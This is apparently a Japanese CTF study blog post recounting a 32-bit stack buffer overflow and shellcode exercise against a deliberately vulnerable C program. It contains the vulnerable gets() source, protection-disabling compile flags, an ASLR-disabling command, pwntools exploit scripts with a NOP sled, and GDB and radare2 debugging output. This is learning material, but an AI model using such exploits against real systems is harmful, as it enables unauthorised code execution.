何事
CTFとかの勉強のために、このサイトを上から順に見ていたのですが、BOFやスタックの話からシェルコードの話題が出てきました。ちょうど試してみるいい機会だと思って色々いじっていたのですが、結果的にGDBの環境変数などによるアドレスの違いで数日費やすハメになった話です。
本編
これを参考にしてShellCodeの実行に挑戦することにしました。まずはサイトからshellcode.zipをダウンロードしてunzip
で解答します。色々とファイルが展開されますが、今回の話題で関心があるファイルは下記2つです。
/* source.c */
#include <stdio.h>
void unsafe() {
char buffer[300];
printf("Overflow me\n");
gets(buffer);
}
void main() {
unsafe();
}
# exploit.py
from pwn import *
context.binary = ELF('./vuln')
p = process()
payload = asm(shellcraft.sh()) # The shellcode
payload = payload.ljust(312, b'A') # Padding
payload += p32(0xffffcfb4) # Address of the Shellcode
log.info(p.clean())
p.sendline(payload)
p.interactive()
ご覧のようにsource.c
のgets()
には脆弱性が存在しており、buffer
が確保する領域を超えて値を書き込めることが分かります。
そしてexploit.py
を書いて実行することで、vuln
が持つメモリ領域(そのスタック)にシェルコードとリターンアドレス(あとはいい感じのパディング)を注入し、リターンアドレスがシェルコードの先頭を指す、あるいはnopスレッドで滑らせてシェルコードの先頭を指すようになればシェルコードが実行されるという練習になっています。
なお、payload
の最後に追記する戻りアドレスはこちらで書き換える模様。
また、バイナリは配布されていますが、 実行する脆弱なバイナリvuln
をsource.c
からコンパイルしたいなら以下のオプションが必要です。(というか後に必要になる)
gcc source.c -o vuln -no-pie -fno-stack-protector -z execstack -m32 -std=c99
攻撃には、まずbuffer
の先頭アドレスを知る必要があります。なぜならbuffer
より上位のアドレス(スタック概念的には下)にunsafe()
関数からmain()
関数に帰る戻りアドレスがあるはずであり、今回はそれをBOFでbuffer
の先頭アドレスに書き換える必要があるからです。
そうすることで、unsafe()
関数のret
命令?の際に、スタックから戻りアドレスとしてこの場所がIP(今回は32bitなのでesp)にセットされます。そうすればIPはシェルコードが格納されているアドレスを指し示すため、シェルコードが実行されるはずです。
あとASLRもオフにしておきます。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
// こうでも良い?
sudo sysctl -w kernel.randomize_va_space=0
次に、Webサイトではradare2
を使用していますが、私はGDBを使ってbuffer
の先頭アドレス割り出しを試みました(これが悪夢の始まり)
はじめにGDBを起動して、unsafe()
関数の中身を覗いてみましょう
$) gdb -q vuln
(gdb) disas unsafe
Dump of assembler code for function unsafe:
0x08049172 <+0>: push ebp
0x08049173 <+1>: mov ebp,esp
0x08049175 <+3>: push ebx
0x08049176 <+4>: sub esp,0x134
0x0804917c <+10>: call 0x80490b0 <__x86.get_pc_thunk.bx>
0x08049181 <+15>: add ebx,0x2e7f
0x08049187 <+21>: sub esp,0xc
0x0804918a <+24>: lea eax,[ebx-0x1ff8]
0x08049190 <+30>: push eax
0x08049191 <+31>: call 0x8049040 <puts@plt>
0x08049196 <+36>: add esp,0x10
0x08049199 <+39>: sub esp,0xc
0x0804919c <+42>: lea eax,[ebp-0x134]
0x080491a2 <+48>: push eax
0x080491a3 <+49>: call 0x8049030 <gets@plt>
0x080491a8 <+54>: add esp,0x10
0x080491ab <+57>: nop
0x080491ac <+58>: mov ebx,DWORD PTR [ebp-0x4]
0x080491af <+61>: leave
0x080491b0 <+62>: ret
End of assembler dump.
gets()
終了直後のスタックを覗きたいので、gets
直後にブレイクポイントを貼って実行します。
(gdb) b *0x080491a8
(gdb) r
Overflow me
<<find me>>
Breakpoint 1, 0x080491a8 in unsafe ()
(gdb) x/300s $esp
0xffffd420: "4\324\377\377\344\317\377\367@"
0xffffd42a: ""
0xffffd42b: ""
0xffffd42c: "\201\221\004\b\b"
0xffffd432: ""
0xffffd433: ""
0xffffd434: "<<find me>>"
0xffffd440: ".N=\366\231/\375\367\001"
0xffffd44a: ""
0xffffd44b: ""
0xffffd44c: "\001"
0xffffd44e: ""
0xffffd44f: ""
...
すると、入力した文字<<find me>>
が0xffffd434
に現れるので、buffer
の先頭アドレスがこれだと分かります。
あとはこれをpythonのコードに反映させましょう。
それと、説明は省略しましたが、buffer
からリターンアドレスまでのオフセットは312で、配布されたコードとも間違いはなかったため、改変する箇所は下記のみとなります。
# exploit.py
payload += p32(0xffffd434) #アドレスを変更
上記までで、実行する準備が整ったので実行してみましょう。
$ python3 exploit.py
[*] '/path/to/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
[+] Starting local process '/path/to/vuln':
pid 4449
/usr/lib/python3.12/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming
ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] Overflow me
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Process '/path/to/ShellCode/vuln' stopped with exit code -11 (SIGSEGV) (pid 4449)
[*] Got EOF while sending in interactive
どうやらセグフォったようです。
そして、なぜセグフォったのかと言う話が今回の沼なのですが、原因はGDBが表示するアドレスが、GDB外では違うアドレスであったということでした。つまりGDBで確認して、exploit.py
に加えたアドレスの変更が間違っていたということです。(buffer
の先頭アドレスが実際のアドレスとgdbのアドレスでは違っていた)
これに気づいたのは、確認のために一度ソースコードを改変してコンパイルしてみたときのことでした。
/* source.c */
#include <stdio.h>
void unsafe() {
char buffer[300];
printf("Overflow me : &buff = %p\n", bufeer);
gets(buffer);
}
void main() {
unsafe();
}
これを実行してみると、GDBで確認できるbuffer
のアドレスと、gdb
の外で実行するときに表示されるアドレスが異なることに気づきました。
最終的には、改変したソースからコンパイルしたvuln
を実行し、buffer
のアドレスを取得してから、そのアドレスを元にエクスプロイトコードを書き直すことでシェルを起動することができました。
結局この記事で何を主張したいのかというと、GDBのアドレスには気をつけてねというだけの話です。
余談その1
沼った数日の間に作成した別のエクスプロイトコードなども掲載しておきます。もしかしたら何かの役に立つかもしれません。
# alt_exploit.py
from pwn import *
import sys
import struct
nop_sled = b'\x90' * 136
shellcode = asm(shellcraft.i386.linux.sh())
# アドレスは適宜変更する
return_addr = struct.pack('I', 0xffffd434) * 132
payload = nop_sled + shellcode + return_addr
sys.stdout.buffer.write(payload)
このコードはnopスレッドとリターンアドレスの繰り返しを考慮したもので、また4バイト境界にそろえるため、nopスレッドは4で割り切れる136バイトにします。元々シェルコードは44バイトで、buffer
からリターンアドレスまでのオフセットは312バイトだったため、(312-44)/2 = 134
より134バイトにしようかと考えていたのですが4で割り切れないことから、リターンアドレスがずれてしまいセグフォってしまいます。よって136バイトのnopスレッドと132バイトのリターンアドレスをシェルコードの前後に配置しています。
そして、このエクスプロイトは下記のように実行します。
$ (python3 alt_exploit.py; cat) | ./test
このとき、シェルコードをパイプでただ注入するだけでは、こちらからのコマンドを実行することができないため、catコマンドを挟んでいます。
余談その2
gdbでのアドレスが実際のアドレスと違うことにはいくつかの理由がありそうですが、その一因として環境変数の違いが挙げられそうです。
ここにそれらしいことが載っているのですが、gdb
がセットする環境変数や、プログラムのパス名などでメモリ上のアドレスがずれ込んでしまうことがあるようです。
また、gdb
でunset env LINES
やunset env COLUMNS
も試してみたのですがどうにも実際のアドレスと一致しませんでした。できれば解決策を見つけたいところです。
とりあえずシェルコード実行ができたので良しとします。
あとシェルコードはpwntoolsから持ってきましたが、今度はシェルコードの作成にも挑戦してみたいと思います。
何か間違いがありましたらぜひご指摘ください。
追記
radare2
で見れば、正しいbuffer
の位置が分かりました。
$ r2 -d -A vuln
でデバッガを起動した後、gets()
終了後のスタックを見るためにunsafe()
を逆アセンブルします。
[0xf7fe3ef0]> s sym.unsafe ; pdf
;-- unsafe:
; CALL XREF from dbg.main @ 0x80491cc(x)
┌ 70: dbg.unsafe ();
│ ; var int32_t var_4h @ ebp-0x4
│ ; var char[300] buffer @ ebp-0x12c
│ ; var int32_t var_134h @ ebp-0x134
│ 0x08049176 55 push ebp ; stdio.h:9 version 2.1 of the License, or (at your option) any later version. ; void unsafe();
│ 0x08049177 89e5 mov ebp, esp
│ 0x08049179 53 push ebx
│ 0x0804917a 81ec34010000 sub esp, 0x134
│ 0x08049180 e82bffffff call sym.__x86.get_pc_thunk.bx
│ 0x08049185 81c36f2e0000 add ebx, 0x2e6f
│ 0x0804918b 83ec08 sub esp, 8 ; stdio.h:11 The GNU C Library is distributed in the hope that it will be useful,
│ 0x0804918e 8d85ccfeffff lea eax, [var_134h]
│ 0x08049194 50 push eax
│ 0x08049195 8d8314e0ffff lea eax, [ebx - 0x1fec]
│ 0x0804919b 50 push eax
│ 0x0804919c e89ffeffff call sym.imp.printf ; int printf(const char *format)
│ 0x080491a1 83c410 add esp, 0x10
│ 0x080491a4 83ec0c sub esp, 0xc ; stdio.h:12 but WITHOUT ANY WARRANTY; without even the implied warranty of
│ 0x080491a7 8d85ccfeffff lea eax, [var_134h]
│ 0x080491ad 50 push eax
│ 0x080491ae e89dfeffff call sym.imp.gets ; char *gets(char *s)
│ 0x080491b3 83c410 add esp, 0x10
│ 0x080491b6 90 nop ; stdio.h:13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
│ 0x080491b7 8b5dfc mov ebx, dword [var_4h]
│ 0x080491ba c9 leave
└ 0x080491bb c3 ret
上記より
[0x08049176]> db 0x080491b3
として0x080491b3
にブレイクポイントを貼れば良いと分かります。
次に
[0x08049176]> dc
でプログラムを実行し、
Overflow me
<<find me>>
と入力します。そうすると実行がブレイクポイントまで続いて止まります。そうしたら、スタックの中身を覗いてみましょう。
INFO: hit breakpoint at: 0x80491b3
[0x08049176]> px @ ebp-0x134
- offset - E4E5 E6E7 E8E9 EAEB ECED EEEF F0F1 F2F3 456789ABCDEF0123
0xffffd4e4 3c3c 6669 6e64 206d 653e 3e00 2e4e 3df6 <<find me>>..N=.
0xffffd4f4 992f fdf7 0100 0000 0100 0000 d4d3 c0f7 ./..............
0xffffd504 c707 0000 c42d c1f7 8013 fcf7 74d5 ffff .....-......t...
0xffffd514 70d5 ffff 0000 0000 0000 0000 ffff ffff p...............
0xffffd524 0300 0000 0000 0000 6457 c0f7 e4cf fff7 ........dW......
0xffffd534 c42d c1f7 f582 0408 70d5 ffff 2e4e 3df6 .-......p....N=.
0xffffd544 71ea b107 00d5 ffff f8d5 ffff 74d5 ffff q...........t...
0xffffd554 7016 fcf7 0c00 0000 6090 0408 0000 0000 p.......`.......
0xffffd564 0000 0000 0000 0000 3480 0408 0000 0000 ........4.......
0xffffd574 0000 0000 0010 0000 0090 fcf7 0000 0000 ................
0xffffd584 f4db fff7 2e4e 3df6 fcd5 ffff 0000 0000 .....N=.........
0xffffd594 7037 fdf7 7082 0408 fcd5 ffff 8cdb fff7 p7..p...........
0xffffd5a4 0100 0000 a016 fcf7 0100 0000 0000 0000 ................
0xffffd5b4 0100 0000 20da fff7 0000 0000 0000 0000 .... ...........
0xffffd5c4 abd8 ffff 0200 0000 f8d5 ffff e4cf fff7 ................
0xffffd5d4 0000 0000 1c00 0000 0000 0000 7075 fcf7 ............pu..
[0x08049176]> quit
はい、0xffffd4e4
にbuffer
内容物がありますね?
そして改変したコードからコンパイルしたバイナリも同じアドレスを出力していたので正しいとも分かります。
よって0xffffd4e4
を戻りアドレスとしてエクスプロイトを組み上げればよいのです。
記事書いてからすぐ気づきましたが、面倒臭がらずにradare2
使えばよかったですねこれ。